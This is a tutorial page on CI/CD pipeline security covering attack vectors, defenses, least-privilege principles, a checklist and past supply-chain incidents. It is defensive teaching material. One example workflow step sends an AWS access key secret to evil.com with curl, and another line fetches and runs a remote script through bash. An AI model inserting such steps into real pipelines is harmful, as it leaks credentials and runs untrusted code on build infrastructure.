Pipeline Security Fundamentals
Understand CI/CD pipeline threats, attack vectors, and core security principles for protecting your build infrastructure.
Before hardening your pipelines, you need to understand how attackers think about them. This section covers the threat landscape, common attack vectors, and foundational security principles.
The CI/CD Attack Surface
Your pipeline has multiple attack surfaces:
Pipeline Attack Surface
=======================
[Source Code] -> Repository access, malicious commits
[Dependencies] -> Compromised packages, typosquatting
[CI Configuration] -> Pipeline injection, privilege escalation
[Build Environment]-> Runner compromise, container escape
[Secrets] -> Credential theft, exposure in logs
[Artifacts] -> Tampering, malicious injection
[Deployment] -> Unauthorized access, configuration drift
Each component presents opportunities for attackers to inject malicious code, steal credentials, or gain persistent access.
Common Attack Vectors
1. Dependency Confusion / Substitution
Attackers publish malicious packages with names similar to internal packages:
# Attacker publishes 'company-internal-utils' to public npm
# Your pipeline pulls the malicious version instead of internal one
dependencies:
company-internal-utils: "^1.0.0" # Which registry?
Defenses:
- Use scoped packages (@company/package-name)
- Configure registry priorities explicitly
- Pin dependencies with lockfiles and integrity hashes
2. Pipeline Injection via Pull Requests
Attackers modify CI configuration in PRs to exfiltrate secrets:
# Malicious PR modifies .github/workflows/ci.yml
jobs:
build:
steps:
- name: Exfiltrate secrets
run: |
curl -X POST https://evil.com/collect \
-d "secrets=${{ secrets.AWS_ACCESS_KEY }}"
Defenses:
- Require approval for workflow changes
- Use pull_request_target carefully (runs with base branch secrets)
- Restrict secret access to specific branches
3. Compromised Build Tools
Attackers compromise tools that run during builds:
# Codecov bash uploader was compromised in 2021
# This innocent-looking command exfiltrated secrets
bash <(curl -s https://codecov.io/bash)
Defenses:
- Pin versions of external scripts
- Verify checksums before execution
- Use official actions/integrations when available
4. Artifact Poisoning
Attackers tamper with build artifacts between build and deployment:
Build Server -> [Artifact Storage] -> Production
^
|
Attacker modifies
artifact here
Defenses:
- Sign artifacts cryptographically
- Verify signatures before deployment
- Use immutable artifact storage
Security Principles for Pipelines
Principle 1: Least Privilege
Grant minimum permissions required for each job:
# GitHub Actions - explicit permissions
jobs:
build:
permissions:
contents: read # Only read source code
packages: write # Write to package registry
steps:
- uses: actions/checkout@v4
# Bad - excessive permissions
jobs:
build:
permissions: write-all # Never do this
Principle 2: Defense in Depth
Layer multiple security controls:
Defense Layers
--------------
Layer 1: Repository protection (branch rules, CODEOWNERS)
Layer 2: Pipeline configuration validation
Layer 3: Secret management (vault, rotation)
Layer 4: Runner isolation (containers, VMs)
Layer 5: Artifact signing and verification
Layer 6: Deployment approval gates
No single control is perfect. Multiple layers ensure that bypassing one doesn't compromise everything.
Principle 3: Immutability
Build artifacts should be immutable once created:
# Good - immutable tags
docker build -t myapp:${{ github.sha }} .
docker push myapp:${{ github.sha }}
# Bad - mutable tags
docker build -t myapp:latest . # Can be overwritten
Principle 4: Auditability
Log everything for forensic analysis:
# Capture build metadata
- name: Record build provenance
run: |
echo "Commit: ${{ github.sha }}" >> build-info.txt
echo "Actor: ${{ github.actor }}" >> build-info.txt
echo "Workflow: ${{ github.workflow }}" >> build-info.txt
echo "Run ID: ${{ github.run_id }}" >> build-info.txt
Principle 5: Fail Securely
When something goes wrong, fail closed:
# Fail the build if security scan fails
- name: Security scan
run: |
trivy image myapp:${{ github.sha }} --exit-code 1
# Non-zero exit fails the build
Pipeline Security Checklist
Use this checklist to assess your pipeline security:
[ ] Explicit permissions defined for each job
[ ] Secrets not accessible from PR builds
[ ] Dependencies pinned with lockfiles
[ ] External scripts verified before execution
[ ] Artifact signing implemented
[ ] Branch protection rules enforced
[ ] CODEOWNERS for sensitive files (.github/, Dockerfile, etc.)
[ ] Audit logs enabled and monitored
[ ] Runner environments are ephemeral
[ ] Network access restricted from runners
Real-World Attack Examples
SolarWinds (2020)
Attackers compromised the build system to inject malicious code:
- Gained access to SolarWinds build infrastructure
- Modified build process to inject backdoor into Orion software
- Signed malicious builds with legitimate certificates
- 18,000+ organizations affected, including US government agencies
Lessons:
- Build systems need the same protection as production
- Code signing alone doesn't prevent supply chain attacks
- Monitor build processes for unauthorized modifications
Codecov (2021)
Attackers modified a bash script used by thousands of repositories:
- Compromised Codecov's Docker image creation process
- Modified bash uploader to exfiltrate environment variables
- Affected ~29,000 customers over 2 months
- Secrets from CI environments were stolen
Lessons:
- Verify integrity of external scripts
- Don't expose all environment variables to external tools
- Pin versions of CI integrations
event-stream (2018)
Social engineering attack on npm package maintainer:
- Attacker offered to maintain popular package
- Added malicious dependency targeting specific application
- Attempted to steal cryptocurrency from Copay wallet users
Lessons:
- Review dependency changes carefully
- Be cautious about transferring package ownership
- Monitor for unexpected transitive dependencies
Found an issue?